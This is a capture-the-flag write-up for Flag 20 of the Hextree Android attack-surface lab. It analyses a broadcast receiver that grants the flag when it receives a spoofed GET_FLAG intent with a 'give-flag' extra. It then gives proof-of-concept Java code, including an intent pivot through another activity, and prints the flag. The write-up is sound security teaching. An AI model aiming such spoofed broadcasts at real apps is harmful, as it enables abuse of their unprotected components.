Challenge Requirments

Spoof notification button actions for Flag20Receiver

Analysis

Upon interacting with Flag20Activity it sends us a notification: When pressing on GET FLAG button and inspecting LogCat we see the following intent Now we know that it sends an implicit intent to io.hextree.broadcast.GET_FLAG, From the description of the notification we start inspecting both files Flag20Activity & Flag20Receiver, What matters most is Flag20Receiver since the activity isn’t exported:

AndroidManifest.xml

<activity  
	android:name="io.hextree.attacksurface.activities.Flag20Activity"  
	android:exported="false"/>

We can try to pivot to it using Flag5Activity but that would be unintended :) Now let’s see Flag20Receiver

Flag20Receiver

public class Flag20Receiver extends BroadcastReceiver {  
    @Override // android.content.BroadcastReceiver  
    public void onReceive(Context context, Intent intent) {  
        Log.i("Flag20Receiver.onReceive", Utils.dumpIntent(context, intent));  
        if (intent.getBooleanExtra("give-flag", false)) {  
            success(context);  
        } else {  
            Toast.makeText(context, "Conditions not correct for flag", 0).show();  
        }  
    }  
  
    private void success(Context context) {  
        Intent intent = new Intent();  
        intent.setAction(Flag20Activity.GET_FLAG);  
        intent.addFlags(intent.getFlags());  
        intent.putExtra(FlagDatabaseHelper.COLUMN_VALUE, "Flag20Success");  
        intent.setComponent(new ComponentName(context, (Class<?>) Flag20Activity.class));  
        Toast.makeText(context, "Success! Open the app to trigger the flag activity", 0).show();  
        context.startActivity(intent);  
    }  
}

Pretty simple receiver that only needs a booleanExtra called give-flag with the value set to true

Flag20Activity

Flag20Receiver flag20Receiver = new Flag20Receiver();  
IntentFilter intentFilter = new IntentFilter(GET_FLAG);  
if (Build.VERSION.SDK_INT >= 33) {  
	registerReceiver(flag20Receiver, intentFilter, 2);  
} else {  
	registerReceiver(flag20Receiver, intentFilter);  
}

This is the code snippet from Flag20Activity where the receiver is being used, it gets called with GET_FLAG intent filter which is a variable initialized at the top of the code:

public static String GET_FLAG = "io.hextree.broadcast.GET_FLAG";

Now that we know everything we need to solve the challenge let’s create our POC!

Creating the POC

Exploitation Steps:

Manual Way:

  • Open the Flag20Activity from the target app to get the notification
  • Fire our malicous broadcast
  • Submit the flag :) Automatic Way:
  • Pivot From Flag5Acitivty to Flag20Activity to trigger the notification
  • Send the malicous broadcast after some delay
  • Submit the flag :)

POC Code

public class Flag20 extends AppCompatActivity {
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_flag20);
        getSupportActionBar().setTitle("Flag 20");
 
        Button button = findViewById(R.id.button_flag20);
        button.setOnClickListener(v -> {
            // Pivot From `Flag5Acitivty` to `Flag20Activity` to trigger the notification
            Log.i("Tensai-POC", "Pivoting to Flag20Activity from Flag5Activity");
            Intent activityIntent = new Intent();
            activityIntent.setComponent(new ComponentName("io.hextree.attacksurface",
                    "io.hextree.attacksurface.activities.Flag20Activity"));
            Intent pivot = PivotIntent.create(activityIntent);
            startActivity(pivot);
            // Send the malicous broadcast after some delay
            Log.i("Tensai-POC", "Sending the malicous broadcast after 2sec delay to fetch the flag");
            new Handler().postDelayed(() -> {
                Intent intent = new Intent();
                intent.setAction("io.hextree.broadcast.GET_FLAG");
                intent.putExtra("give-flag", true);
                sendBroadcast(intent);
            }, 2000);
        });
    }
}

the PivotIntent class is a helper class I created that automates the pivoting steps for Flag5Activity you can see it here. If we wanted to do it the manual way here’s the code for it:

public class Flag20 extends AppCompatActivity {
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_flag20);
        getSupportActionBar().setTitle("Flag 20");
 
        Button button = findViewById(R.id.button_flag20);
        button.setOnClickListener(v -> {
            Log.i("Tensai-POC", "Solving Flag 20");
            // Send the malicous broadcast after some delay
			Intent intent = new Intent();
			intent.setAction("io.hextree.broadcast.GET_FLAG");
			intent.putExtra("give-flag", true);
			sendBroadcast(intent);
        });
    }
}

Now we just open the target activity to trigger the notification then we send our malicous broadcast!

Flag

HXT{spoof-notificaiton-result-er12d}